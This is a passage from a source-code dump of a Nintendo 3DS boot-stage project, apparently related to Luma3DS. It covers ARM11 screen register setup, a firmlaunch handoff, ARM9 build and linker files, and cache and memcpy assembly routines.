0x01c501c1; 30 | *(vu32 *)0x10400420 = 0x00010000; 31 | *(vu32 *)0x10400424 = 0x0000019d; 32 | *(vu32 *)0x10400428 = 0x00000002; 33 | *(vu32 *)0x1040042c = 0x00000192; 34 | *(vu32 *)0x10400430 = 0x00000192; 35 | *(vu32 *)0x10400434 = 0x00000192; 36 | *(vu32 *)0x10400438 = 0x00000001; 37 | *(vu32 *)0x1040043c = 0x00000002; 38 | *(vu32 *)0x10400440 = 0x01960192; 39 | *(vu32 *)0x10400444 = 0x00000000; 40 | *(vu32 *)0x10400448 = 0x00000000; 41 | *(vu32 *)0x1040045C = 0x00f00190; 42 | *(vu32 *)0x10400460 = 0x01c100d1; 43 | *(vu32 *)0x10400464 = 0x01920002; 44 | *(vu32 *)0x10400468 = 0x18300000; 45 | *(vu32 *)0x10400470 = 0x80341; 46 | *(vu32 *)0x10400474 = 0x00010501; 47 | *(vu32 *)0x10400478 = 0; 48 | *(vu32 *)0x10400490 = 0x000002D0; 49 | *(vu32 *)0x1040049C = 0x00000000; 50 | 51 | //Disco register 52 | for(u32 i = 0; i < 256; i++) 53 | *(vu32 *)0x10400484 = 0x10101 * i; 54 | 55 | //Bottom screen 56 | *(vu32 *)0x10400500 = 0x000001c2; 57 | *(vu32 *)0x10400504 = 0x000000d1; 58 | *(vu32 *)0x10400508 = 0x000001c1; 59 | *(vu32 *)0x1040050c = 0x000001c1; 60 | *(vu32 *)0x10400510 = 0x000000cd; 61 | *(vu32 *)0x10400514 = 0x000000cf; 62 | *(vu32 *)0x10400518 = 0x000000d1; 63 | *(vu32 *)0x1040051c = 0x01c501c1; 64 | *(vu32 *)0x10400520 = 0x00010000; 65 | *(vu32 *)0x10400524 = 0x0000019d; 66 | *(vu32 *)0x10400528 = 0x00000052; 67 | *(vu32 *)0x1040052c = 0x00000192; 68 | *(vu32 *)0x10400530 = 0x00000192; 69 | *(vu32 *)0x10400534 = 0x0000004f; 70 | *(vu32 *)0x10400538 = 0x00000050; 71 | *(vu32 *)0x1040053c = 0x00000052; 72 | *(vu32 *)0x10400540 = 0x01980194; 73 | *(vu32 *)0x10400544 = 0x00000000; 74 | *(vu32 *)0x10400548 = 0x00000011; 75 | *(vu32 *)0x1040055C = 0x00f00140; 76 | *(vu32 *)0x10400560 = 0x01c100d1; 77 | *(vu32 *)0x10400564 = 0x01920052; 78 | *(vu32 *)0x10400568 = 0x18300000 + 0x46500; 79 | *(vu32 *)0x10400570 = 0x80301; 80 | *(vu32 *)0x10400574 = 0x00010501; 81 | *(vu32 *)0x10400578 = 0; 82 | *(vu32 *)0x10400590 = 0x000002D0; 83 | *(vu32 *)0x1040059C = 0x00000000; 84 | 85 | //Disco register 86 | for(u32 i = 0; i < 256; i++) 87 | *(vu32 *)0x10400584 = 0x10101 * i; 88 | 89 | *(vu32 *)0x10400468 = 0x18300000; 90 | *(vu32 *)0x1040046c = 0x18400000; 91 | *(vu32 *)0x10400494 = 0x18300000; 92 | *(vu32 *)0x10400498 = 0x18400000; 93 | *(vu32 *)0x10400568 = 0x18346500; 94 | *(vu32 *)0x1040056c = 0x18446500; 95 | 96 | //Clear both framebuffer sets 97 | vu32 *REGs_PSC0 = (vu32 *)0x10400010, 98 | *REGs_PSC1 = (vu32 *)0x10400020; 99 | 100 | REGs_PSC0[0] = 0x18300000 >> 3; //Start address 101 | REGs_PSC0[1] = (0x18300000 + SCREEN_TOP_FBSIZE) >> 3; //End address 102 | REGs_PSC0[2] = 0; //Fill value 103 | REGs_PSC0[3] = (2 << 8) | 1; //32-bit pattern; start 104 | 105 | REGs_PSC1[0] = 0x18346500 >> 3; //Start address 106 | REGs_PSC1[1] = (0x18346500 + SCREEN_BOTTOM_FBSIZE) >> 3; //End address 107 | REGs_PSC1[2] = 0; //Fill value 108 | REGs_PSC1[3] = (2 << 8) | 1; //32-bit pattern; start 109 | 110 | while(!((REGs_PSC0[3] & 2) && (REGs_PSC1[3] & 2))); 111 | 112 | REGs_PSC0[0] = 0x18400000 >> 3; //Start address 113 | REGs_PSC0[1] = (0x18400000 + SCREEN_TOP_FBSIZE) >> 3; //End address 114 | REGs_PSC0[2] = 0; //Fill value 115 | REGs_PSC0[3] = (2 << 8) | 1; //32-bit pattern; start 116 | 117 | REGs_PSC1[0] = 0x18446500 >> 3; //Start address 118 | REGs_PSC1[1] = (0x18446500 + SCREEN_BOTTOM_FBSIZE) >> 3; //End address 119 | REGs_PSC1[2] = 0; //Fill value 120 | REGs_PSC1[3] = (2 << 8) | 1; //32-bit pattern; start 121 | 122 | while(!((REGs_PSC0[3] & 2) && (REGs_PSC1[3] & 2))); 123 | } 124 | 125 | static void waitBootromLocked(void) 126 | { 127 | while(*(vu64 *)0x18000 != 0ULL); 128 | } 129 | 130 | void arm11Main(void) 131 | { 132 | operation = ARM11_READY; 133 | 134 | while(true) 135 | { 136 | switch(operation) 137 | { 138 | case ARM11_READY: 139 | continue; 140 | case INIT_SCREENS: 141 | initScreens(); 142 | break; 143 | case WAIT_BOOTROM11_LOCKED: 144 | waitBootromLocked(); 145 | break; 146 | case PREPARE_ARM11_FOR_FIRMLAUNCH: 147 | *(vu32 *)0x1FFFFFFC = 0; 148 | ((void (*)(u32, volatile Arm11Operation *))0x1FFFFC00)(ARM11_READY, &operation); 149 | __builtin_unreachable(); 150 | break; 151 | } 152 | 153 | operation = ARM11_READY; 154 | } 155 | } 156 | -------------------------------------------------------------------------------- /stage2/arm11/source/start.s: -------------------------------------------------------------------------------- 1 | #include "asm_macros.s.h" 2 | 3 | .arm 4 | .cpu mpcore 5 | 6 | FUNCTION _start, .crt0 7 | b start 8 | 9 | .global operation 10 | operation: 11 | .word 0 12 | 13 | start: 14 | cpsid aif 15 | 16 | // Set the control register to reset default: everything disabled 17 | ldr r0, =0x54078 18 | mcr p15, 0, r0, c1, c0, 0 19 | 20 | // Set the auxiliary control register to reset default. 21 | // Enables instruction folding, static branch prediction, 22 | // dynamic branch prediction, and return stack. 23 | mov r0, #0xF 24 | mcr p15, 0, r0, c1, c0, 1 25 | 26 | // Invalidate all caches, flush the prefetch buffer and DSB 27 | mov r0, #0 28 | mcr p15, 0, r0, c7, c5, 4 29 | mcr p15, 0, r0, c7, c7, 0 30 | mcr p15, 0, r0, c7, c10, 4 31 | 32 | // Clear BSS 33 | ldr r0, =__bss_start__ 34 | mov r1, #0 35 | ldr r2, =__bss_end__ 36 | sub r2, r0 37 | bl memset 38 | 39 | // Copy the firmlaunch code 40 | ldr r1, =prepareForFirmlaunch 41 | ldr r0, =0x1FFFFC00 42 | ldm r1, {r4-r11} 43 | stm r0, {r4-r11} 44 | 45 | // DSB just in case 46 | mov r0, #0 47 | mcr p15, 0, r0, c7, c10, 4 48 | 49 | ldr sp, =__stack_top__ 50 | b arm11Main 51 | END_FUNCTION 52 | 53 | FUNCTION prepareForFirmlaunch, .crt0 54 | str r0, [r1] // tell ARM9 we're done 55 | mov r0, #0x20000000 56 | 57 | // DSB just in case 58 | mov r4, #0 59 | mcr p15, 0, r4, c7, c10, 4 60 | 61 | 1: 62 | ldr r1, [r0, #-4] // check if core0's entrypoint is 0 63 | cmp r1, #0 64 | beq 1b 65 | 66 | bx r1 // jump to core0's entrypoint 67 | .if (. - prepareForFirmlaunch) != 32 68 | .error "prepareForFirmlaunch has incorrect size" 69 | .endif 70 | END_FUNCTION 71 | -------------------------------------------------------------------------------- /stage2/arm11/source/types.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | //Common data types 7 | typedef uint8_t u8; 8 | typedef uint16_t u16; 9 | typedef uint32_t u32; 10 | typedef uint64_t u64; 11 | typedef volatile u8 vu8; 12 | typedef volatile u16 vu16; 13 | typedef volatile u32 vu32; 14 | typedef volatile u64 vu64; 15 | 16 | #define SCREEN_TOP_WIDTH 400 17 | #define SCREEN_BOTTOM_WIDTH 320 18 | #define SCREEN_HEIGHT 240 19 | #define SCREEN_TOP_FBSIZE (3 * SCREEN_TOP_WIDTH * SCREEN_HEIGHT) 20 | #define SCREEN_BOTTOM_FBSIZE (3 * SCREEN_BOTTOM_WIDTH * SCREEN_HEIGHT) 21 | 22 | typedef enum 23 | { 24 | INIT_SCREENS = 0, 25 | WAIT_BOOTROM11_LOCKED, 26 | PREPARE_ARM11_FOR_FIRMLAUNCH, 27 | ARM11_READY 28 | } Arm11Operation; 29 | -------------------------------------------------------------------------------- /stage2/arm9/Makefile: -------------------------------------------------------------------------------- 1 | #--------------------------------------------------------------------------------- 2 | .SUFFIXES: 3 | #--------------------------------------------------------------------------------- 4 | 5 | ifeq ($(strip $(DEVKITARM)),) 6 | $(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") 7 | endif 8 | 9 | TOPDIR ?= $(CURDIR) 10 | include $(DEVKITARM)/base_rules 11 | 12 | ifeq ($(strip $(VERSION_MINOR)),) 13 | export VERSION_MINOR := 4 14 | endif 15 | 16 | #--------------------------------------------------------------------------------- 17 | # TARGET is the name of the output 18 | # BUILD is the directory where object files & intermediate files will be placed 19 | # SOURCES is a list of directories containing source code 20 | # DATA is a list of directories containing data files 21 | # INCLUDES is a list of directories containing header files 22 | #--------------------------------------------------------------------------------- 23 | TARGET := $(notdir $(CURDIR)) 24 | BUILD := build 25 | SOURCES := source source/fatfs source/fatfs/sdmmc 26 | DATA := data 27 | INCLUDES := include 28 | 29 | #--------------------------------------------------------------------------------- 30 | # options for code generation 31 | #--------------------------------------------------------------------------------- 32 | FALSEPOSITIVES := -Wno-array-bounds -Wno-stringop-overflow -Wno-stringop-overread 33 | ARCH := -mthumb -mthumb-interwork -march=armv5te -mtune=arm946e-s -flto $(FALSEPOSITIVES) 34 | DEFINES := -DARM9 -D_3DS 35 | 36 | CFLAGS := -gdwarf-4 -std=gnu11 -Wall -Werror -Os -mword-relocations \ 37 | -fomit-frame-pointer -ffunction-sections -fdata-sections \ 38 | -Wno-main $(ARCH) $(DEFINES) 39 | 40 | CFLAGS += $(INCLUDE) 41 | 42 | CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 43 | 44 | ASFLAGS := -g $(ARCH) 45 | LDFLAGS = -specs=$(TOPDIR)/linker.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map) 46 | 47 | LIBS := 48 | 49 | #--------------------------------------------------------------------------------- 50 | # list of directories containing libraries, this must be the top level containing 51 | # include and lib 52 | #--------------------------------------------------------------------------------- 53 | LIBDIRS := 54 | 55 | 56 | #--------------------------------------------------------------------------------- 57 | # no real need to edit anything past this point unless you need to add additional 58 | # rules for different file extensions 59 | #--------------------------------------------------------------------------------- 60 | ifneq ($(BUILD),$(notdir $(CURDIR))) 61 | #--------------------------------------------------------------------------------- 62 | 63 | export OUTPUT := $(CURDIR)/$(TARGET) 64 | export TOPDIR := $(CURDIR) 65 | 66 | export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ 67 | $(foreach dir,$(DATA),$(CURDIR)/$(dir)) 68 | 69 | export DEPSDIR := $(CURDIR)/$(BUILD) 70 | 71 | export APP_TITLE := $(notdir $(TOPDIR)/..) 72 | 73 | CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) 74 | CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) 75 | SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) 76 | BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) 77 | 78 | #--------------------------------------------------------------------------------- 79 | # use CXX for linking C++ projects, CC for standard C 80 | #--------------------------------------------------------------------------------- 81 | ifeq ($(strip $(CPPFILES)),) 82 | #--------------------------------------------------------------------------------- 83 | export LD := $(CC) 84 | #--------------------------------------------------------------------------------- 85 | else 86 | #--------------------------------------------------------------------------------- 87 | export LD := $(CXX) 88 | #--------------------------------------------------------------------------------- 89 | endif 90 | #--------------------------------------------------------------------------------- 91 | 92 | export OFILES_BIN := $(addsuffix .o,$(BINFILES)) 93 | export OFILES_SRC := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) 94 | export OFILES := $(OFILES_BIN) $(OFILES_SRC) 95 | export HFILES_BIN := $(addsuffix .h,$(subst .,_,$(BINFILES))) 96 | 97 | export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ 98 | $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ 99 | -I$(CURDIR)/$(BUILD) 100 | 101 | export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) 102 | 103 | .PHONY: $(BUILD) clean all 104 | 105 | #--------------------------------------------------------------------------------- 106 | all: $(BUILD) 107 | 108 | $(BUILD): 109 | @[ -d $@ ] || mkdir -p $@ 110 | @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile 111 | 112 | #--------------------------------------------------------------------------------- 113 | clean: 114 | @echo clean ... 115 | @rm -fr $(BUILD) $(TARGET).bin $(TARGET).elf 116 | 117 | 118 | #--------------------------------------------------------------------------------- 119 | else 120 | .PHONY: all 121 | 122 | DEPENDS := $(OFILES:.o=.d) 123 | 124 | #--------------------------------------------------------------------------------- 125 | # main targets 126 | #--------------------------------------------------------------------------------- 127 | all : $(OUTPUT).bin 128 | 129 | $(OUTPUT).bin: $(OUTPUT).elf 130 | $(OBJCOPY) -S -O binary $< $@ 131 | @echo built ... $(notdir $@) 132 | 133 | $(OUTPUT).elf: $(OFILES) 134 | 135 | %.elf: $(OFILES) 136 | @echo linking $(notdir $@) 137 | @$(LD) $(LDFLAGS) $(OFILES) $(LIBPATHS) $(LIBS) -o $@ 138 | @$(NM) -CSn $@ > $(notdir $*.lst) 139 | 140 | $(OFILES_SRC) : $(HFILES_BIN) 141 | 142 | chainloader_entry.o: ASFLAGS += -fno-lto -DVERSION_MINOR="$(VERSION_MINOR)" 143 | chainloader.o: CFLAGS += -fno-lto -DVERSION_MINOR="$(VERSION_MINOR)" 144 | 145 | #--------------------------------------------------------------------------------- 146 | # you need a rule like this for each extension you use as binary data 147 | #--------------------------------------------------------------------------------- 148 | %.bin.o %_bin.h : %.bin 149 | #--------------------------------------------------------------------------------- 150 | @echo $(notdir $<) 151 | @$(bin2o) 152 | #--------------------------------------------------------------------------------- 153 | %.ini.o %_ini.h: %.ini 154 | #--------------------------------------------------------------------------------- 155 | @echo $(notdir $<) 156 | @$(bin2o) 157 | 158 | -include $(DEPENDS) 159 | 160 | #--------------------------------------------------------------------------------------- 161 | endif 162 | #--------------------------------------------------------------------------------------- 163 | -------------------------------------------------------------------------------- /stage2/arm9/linker.ld: -------------------------------------------------------------------------------- 1 | OUTPUT_FORMAT("elf32-littlearm", "elf32-bigarm", "elf32-littlearm") 2 | OUTPUT_ARCH(arm) 3 | ENTRY(_start) 4 | 5 | PHDRS 6 | { 7 | crt0 PT_LOAD; 8 | itcm PT_LOAD; 9 | main PT_LOAD; 10 | } 11 | 12 | /* Mostly copied from https://github.com/devkitPro/buildscripts/blob/master/dkarm-eabi/crtls/3dsx.ld */ 13 | MEMORY 14 | { 15 | main : ORIGIN = 0x08000500, LENGTH = 0x0807F000 - 0x08000500 16 | itcm : ORIGIN = 0x07FF8000, LENGTH = 0x07FFB800 - 0x07FF8000 /* Unused ITCM slice. */ 17 | } 18 | 19 | SECTIONS 20 | { 21 | PROVIDE(__start__ = 0x08000500); 22 | PROVIDE(__stack_top__ = 0x08080000); 23 | PROVIDE(__stack_bottom__ = 0x0807F000); 24 | 25 | PROVIDE(__itcm_stack_top__ = ORIGIN(itcm) + 0x3800); 26 | PROVIDE(__itcm_stack_bottom__ = ORIGIN(itcm) + 0x2800); 27 | 28 | . = __start__; 29 | 30 | .crt0 : 31 | { 32 | KEEP( *(.crt0*) ) 33 | /*KEEP( *(.init) )*/ 34 | . = ALIGN(32); 35 | } >main :crt0 36 | 37 | .itcm_loadable : 38 | { 39 | PROVIDE (__itcm_start__ = ABSOLUTE(.)); 40 | PROVIDE (__itcm_lma__ = LOADADDR(.itcm_loadable)); 41 | 42 | 43 | KEEP(*(.chainloader*)) 44 | chainloader.o(.text*) 45 | chainloader.o(.rodata*) 46 | chainloader.o(.data*) 47 | . = ALIGN(32); 48 | } >itcm AT>main :itcm 49 | 50 | .itcm_bss (NOLOAD) : 51 | { 52 | . = ALIGN(32); 53 | PROVIDE (__itcm_bss_start__ = ABSOLUTE(.)); 54 | 55 | *(.chainloader.bss*) 56 | chainloader.o(.bss* COMMON) 57 | 58 | . = ALIGN(32); 59 | PROVIDE (__itcm_end__ = ABSOLUTE(.)); 60 | } >itcm :NONE 61 | 62 | /DISCARD/ : { *(.init) *(.fini) } 63 | 64 | .text : 65 | { 66 | /* .text */ 67 | *(.text) 68 | *(.text.*) 69 | *(.glue_7) 70 | *(.glue_7t) 71 | *(.stub) 72 | *(.gnu.warning) 73 | *(.gnu.linkonce.t*) 74 | 75 | /* .fini */ 76 | /*KEEP( *(.fini) )*/ 77 | . = ALIGN(8); 78 | } >main :main 79 | 80 | .rodata : 81 | { 82 | *(.rodata) 83 | *(.roda) 84 | *(.rodata.*) 85 | *all.rodata*(*) 86 | *(.gnu.linkonce.r*) 87 | SORT(CONSTRUCTORS) 88 | . = ALIGN(8); 89 | } >main :main 90 | 91 | /*.preinit_array : 92 | { 93 | PROVIDE (__preinit_array_start = .); 94 | KEEP (*(.preinit_array)) 95 | PROVIDE (__preinit_array_end = .); 96 | } >main 97 | 98 | .init_array ALIGN(4) : 99 | { 100 | PROVIDE (__init_array_start = .); 101 | KEEP (*(SORT(.init_array.*))) 102 | KEEP (*(.init_array)) 103 | PROVIDE (__init_array_end = .); 104 | } >main 105 | 106 | .fini_array ALIGN(4) : 107 | { 108 | PROVIDE (__fini_array_start = .); 109 | KEEP (*(.fini_array)) 110 | KEEP (*(SORT(.fini_array.*))) 111 | PROVIDE (__fini_array_end = .); 112 | } >main 113 | 114 | .ctors ALIGN(4) : 115 | { 116 | KEEP (*crtbegin.o(.ctors)) 117 | KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) 118 | KEEP (*(SORT(.ctors.*))) 119 | KEEP (*(.ctors)) 120 | . = ALIGN(4); 121 | } >main 122 | 123 | .dtors ALIGN(4) : 124 | { 125 | KEEP (*crtbegin.o(.dtors)) 126 | KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) 127 | KEEP (*(SORT(.dtors.*))) 128 | KEEP (*(.dtors)) 129 | . = ALIGN(4); 130 | } >main 131 | 132 | .ARM.extab : { *(.ARM.extab* .gnu.linkonce.armextab.*) __exidx_start = ABSOLUTE(.);} >main 133 | ARM.exidx : { *(.ARM.exidx* .gnu.linkonce.armexidx.*) __exidx_end = ABSOLUTE(.);} >main*/ 134 | 135 | .data : 136 | { 137 | *(.data) 138 | *(.data.*) 139 | *(.gnu.linkonce.d*) 140 | CONSTRUCTORS 141 | . = ALIGN(32); 142 | } >main :main 143 | 144 | .bss (NOLOAD) : 145 | { 146 | . = ALIGN(32); 147 | PROVIDE (__bss_start__ = ABSOLUTE(.)); 148 | *(.dynbss) 149 | *(.bss) 150 | *(.bss.*) 151 | *(.gnu.linkonce.b*) 152 | *(COMMON) 153 | . = ALIGN(8); 154 | PROVIDE (__bss_end__ = ABSOLUTE(.)); 155 | } >main :NONE 156 | __end__ = ABSOLUTE(.) ; 157 | 158 | /* ================== 159 | ==== Metadata ==== 160 | ================== */ 161 | 162 | /* Discard sections that difficult post-processing, etc */ 163 | /DISCARD/ : { *(.group .comment .note .init .fini) } 164 | 165 | /* Stabs debugging sections. */ 166 | .stab 0 : { *(.stab) } 167 | .stabstr 0 : { *(.stabstr) } 168 | .stab.excl 0 : { *(.stab.excl) } 169 | .stab.exclstr 0 : { *(.stab.exclstr) } 170 | .stab.index 0 : { *(.stab.index) } 171 | .stab.indexstr 0 : { *(.stab.indexstr) } 172 | 173 | /* DWARF debug sections. 174 | Symbols in the DWARF debugging sections are relative to the beginning 175 | of the section so we begin them at 0. */ 176 | 177 | /* DWARF 1 */ 178 | .debug 0 : { *(.debug) } 179 | .line 0 : { *(.line) } 180 | 181 | /* GNU DWARF 1 extensions */ 182 | .debug_srcinfo 0 : { *(.debug_srcinfo) } 183 | .debug_sfnames 0 : { *(.debug_sfnames) } 184 | 185 | /* DWARF 1.1 and DWARF 2 */ 186 | .debug_aranges 0 : { *(.debug_aranges) } 187 | .debug_pubnames 0 : { *(.debug_pubnames) } 188 | 189 | /* DWARF 2 */ 190 | .debug_info 0 : { *(.debug_info) } 191 | .debug_abbrev 0 : { *(.debug_abbrev) } 192 | .debug_line 0 : { *(.debug_line) } 193 | .debug_frame 0 : { *(.debug_frame) } 194 | .debug_str 0 : { *(.debug_str) } 195 | .debug_loc 0 : { *(.debug_loc) } 196 | .debug_macinfo 0 : { *(.debug_macinfo) } 197 | } 198 | -------------------------------------------------------------------------------- /stage2/arm9/linker.specs: -------------------------------------------------------------------------------- 1 | %rename link old_link 2 | 3 | *link: 4 | %(old_link) -T %:getenv(TOPDIR /linker.ld) --nmagic --gc-sections 5 | 6 | *startfile: 7 | crti%O%s crtbegin%O%s 8 | -------------------------------------------------------------------------------- /stage2/arm9/source/alignedseqmemcpy.h: -------------------------------------------------------------------------------- 1 | #include "types.h" 2 | 3 | void *alignedseqmemcpy(void *dst, const void *src, u32 len); 4 | -------------------------------------------------------------------------------- /stage2/arm9/source/alignedseqmemcpy.s: -------------------------------------------------------------------------------- 1 | #include "asm_macros.s.h" 2 | .arm 3 | .cpu arm946e-s 4 | 5 | // Align on cache line boundaries & make sure the loops don't cross them. 6 | FUNCTION alignedseqmemcpy, .text, 5 7 | // src=r1 and dst=r0 are expected to be 4-byte-aligned 8 | push {r4-r10, lr} 9 | 10 | lsrs r12, r2, #5 11 | sub r2, r2, r12, lsl #5 12 | beq 2f 13 | 14 | 1: 15 | ldmia r1!, {r3-r10} 16 | stmia r0!, {r3-r10} 17 | subs r12, #1 18 | bne 1b 19 | 20 | 2: 21 | lsrs r12, r2, #2 22 | sub r2, r2, r12, lsl #2 23 | beq 4f 24 | 25 | 3: 26 | ldr r3, [r1], #4 27 | str r3, [r0], #4 28 | subs r12, #1 29 | bne 3b 30 | 31 | 4: 32 | tst r2, #2 33 | ldrneh r3, [r1], #2 34 | strneh r3, [r0], #2 35 | 36 | tst r2, #1 37 | ldrneb r3, [r1], #1 38 | strneb r3, [r0], #1 39 | 40 | pop {r4-r10, pc} 41 | END_FUNCTION 42 | -------------------------------------------------------------------------------- /stage2/arm9/source/asm_macros.s.h: -------------------------------------------------------------------------------- 1 | .macro FUNCTION name, section=.text, algn=2 2 | .section \section\().\name, "ax", %progbits 3 | .align \algn 4 | .global \name 5 | .type \name, %function 6 | .func \name 7 | .cfi_sections .debug_frame 8 | .cfi_startproc 9 | \name: 10 | .endm 11 | .macro END_FUNCTION 12 | .cfi_endproc 13 | .endfunc 14 | .endm 15 | -------------------------------------------------------------------------------- /stage2/arm9/source/buttons.h: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of Luma3DS 3 | * Copyright (C) 2016 Aurora Wright, TuxSH 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | * 18 | * Additional Terms 7.b of GPLv3 applies to this file: Requiring preservation of specified 19 | * reasonable legal notices or author attributions in that material or in the Appropriate Legal 20 | * Notices displayed by works containing it. 21 | */ 22 | 23 | #pragma once 24 | 25 | #include "types.h" 26 | 27 | #define HID_PAD (*(vu32 *)0x10146000 ^ 0xFFF) 28 | 29 | #define BUTTON_R1 (1 << 8) 30 | #define BUTTON_L1 (1 << 9) 31 | #define BUTTON_A (1 << 0) 32 | #define BUTTON_B (1 << 1) 33 | #define BUTTON_X (1 << 10) 34 | #define BUTTON_Y (1 << 11) 35 | #define BUTTON_SELECT (1 << 2) 36 | #define BUTTON_START (1 << 3) 37 | #define BUTTON_RIGHT (1 << 4) 38 | #define BUTTON_LEFT (1 << 5) 39 | #define BUTTON_UP (1 << 6) 40 | #define BUTTON_DOWN (1 << 7) 41 | 42 | #define NTRBOOT_BUTTONS (BUTTON_START | BUTTON_SELECT | BUTTON_X) -------------------------------------------------------------------------------- /stage2/arm9/source/cache.h: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of Luma3DS 3 | * Copyright (C) 2016 Aurora Wright, TuxSH 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | * 18 | * Additional Terms 7.b of GPLv3 applies to this file: Requiring preservation of specified 19 | * reasonable legal notices or author attributions in that material or in the Appropriate Legal 20 | * Notices displayed by works containing it. 21 | */ 22 | 23 | #pragma once 24 | 25 | #include "types.h" 26 | 27 | void flushEntireDCache(void); //actually: "clean and flush" 28 | void flushEntireICache(void); 29 | 30 | void flushDCacheRangeImpl(void *startAddress, u32 size); 31 | void flushICacheRange(void *startAddress, u32 size); 32 | 33 | static inline void flushDCacheRange(void *startAddress, u32 size) 34 | { 35 | if (size >= 0x4000) 36 | flushEntireDCache(); 37 | else 38 | flushDCacheRangeImpl(startAddress, size); 39 | } 40 | -------------------------------------------------------------------------------- /stage2/arm9/source/cache.s: -------------------------------------------------------------------------------- 1 | // Originally from 2 | 3 | /* 4 | * This file is part of Luma3DS 5 | * Copyright (C) 2016 Aurora Wright, TuxSH 6 | * 7 | * This program is free software: you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published by 9 | * the Free Software Foundation, either version 3 of the License, or 10 | * (at your option) any later version. 11 | * 12 | * This program is distributed in the hope that it will be useful, 13 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | * GNU General Public License for more details. 16 | * 17 | * You should have received a copy of the GNU General Public License 18 | * along with this program. If not, see . 19 | * 20 | * Additional Terms 7.b of GPLv3 applies to this file: Requiring preservation of specified 21 | * reasonable legal notices or author attributions in that material or in the Appropriate Legal 22 | * Notices displayed by works containing it. 23 | * 24 | */ 25 | 26 | #include "asm_macros.s.h" 27 | .arm 28 | .cpu arm946e-s 29 | 30 | FUNCTION flushEntireDCache 31 | // Adapted from http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0155a/ch03s03s05.html, 32 | // and https://github.com/gemarcano/libctr9_io/blob/master/src/ctr_system_ARM.c#L39 as well 33 | // Note: ARM's example is actually for a 8KB DCache (which is what the 3DS has) 34 | 35 | // Implemented in bootROM at address 0xffff0830 36 | mov r1, #0 // segment counter 37 | 1: 38 | mov r0, #0 // line counter 39 | 40 | 2: 41 | orr r2, r1, r0 // generate segment and line address 42 | mcr p15, 0, r2, c7, c14, 2 // clean and flush the line 43 | add r0, #0x20 // increment to next line 44 | cmp r0, #0x400 45 | bne 2b 46 | 47 | add r1, #0x40000000 48 | cmp r1, #0 49 | bne 1b 50 | 51 | mcr p15, 0, r1, c7, c10, 4 // drain write buffer 52 | bx lr 53 | END_FUNCTION 54 | 55 | FUNCTION flushDCacheRangeImpl 56 | // Implemented in bootROM at address 0xffff08a0 57 | add r1, r0, r1 // end address 58 | bic r0, #0x1f // align source address to cache line size (32 bytes) 59 | 60 | 1: 61 | mcr p15, 0, r0, c7, c14, 1 // clean and flush the line corresponding to the address r0 is holding 62 | add r0, #0x20 63 | cmp r0, r1 64 | blo 1b 65 | 66 | mov r0, #0 67 | mcr p15, 0, r0, c7, c10, 4 // drain write buffer 68 | bx lr 69 | END_FUNCTION 70 | 71 | FUNCTION flushEntireICache 72 | // Implemented in bootROM at address 0xffff0ab4 73 | mov r0, #0 74 | mcr p15, 0, r0, c7, c5, 0 75 | bx lr 76 | END_FUNCTION 77 | 78 | FUNCTION flushICacheRange 79 | // Implemented in bootROM at address 0xffff0ac0 80 | add r1, r0, r1 // end address 81 | bic r0, #0x1f // align source address to cache line size (32 bytes) 82 | 83 | 1: 84 | mcr p15, 0, r0, c7, c5, 1 // flush the line corresponding to the address r0 is holding 85 | add r0, #0x20 86 | cmp r0, r1 87 | blo 1b 88 | END_FUNCTION 89 | 90 | FUNCTION __wfi 91 | mov r0, #0 92 | mcr p15, 0, r0, c7, c0, 4 93 | bx lr 94 | END_FUNCTION 95 | 96 | FUNCTION __dsb 97 | mov r0, #0 98 | mcr p15, 0, r0, c7, c10, 4 99 | bx lr 100 | END_FUNCTION 101 | -------------------------------------------------------------------------------- /stage2/arm9/source/chainloader.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of Luma3DS 3 | * Copyright (C) 2022 TuxSH 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 